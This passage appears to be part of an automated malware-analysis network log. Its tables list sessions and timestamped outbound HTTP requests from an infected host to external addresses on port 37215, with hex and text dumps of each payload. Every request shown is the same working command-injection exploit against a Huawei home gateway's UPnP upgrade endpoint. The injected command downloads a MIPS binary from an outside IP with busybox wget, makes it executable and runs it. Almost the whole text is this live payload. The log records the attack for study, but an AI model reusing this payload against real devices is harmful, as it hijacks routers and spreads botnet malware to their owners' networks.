xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	45070	156.230.14.26	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:28.680115938 CET	1260	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	156.247.16.6	37215	192.168.2.23	41866

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:28.933314085 CET	1285	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.970237970 CET	1375	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:39.113401890 CET	1564	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:51.143822908 CET	1852	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:16.228204012 CET	2573	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	41866	156.247.16.6	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:28.933314085 CET	1285	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:32.970237970 CET	1375	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:39.113401890 CET	1564	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
